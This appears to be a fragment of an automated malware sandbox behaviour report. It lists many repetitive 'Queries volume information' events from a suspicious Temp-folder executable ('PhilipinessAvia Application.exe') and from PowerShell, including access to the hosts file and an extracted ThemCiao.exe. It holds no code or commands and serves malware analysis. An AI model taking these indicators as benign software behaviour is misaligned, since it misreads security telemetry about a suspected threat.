      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user\AppData\Local\Temp\ZZovEy9If0dJ4jV91e VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7 VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user\AppData\Local\Temp\ZZovEy9If0dJ4jV91e VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7 VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\__MACOSX VolumeInformationJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformationJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
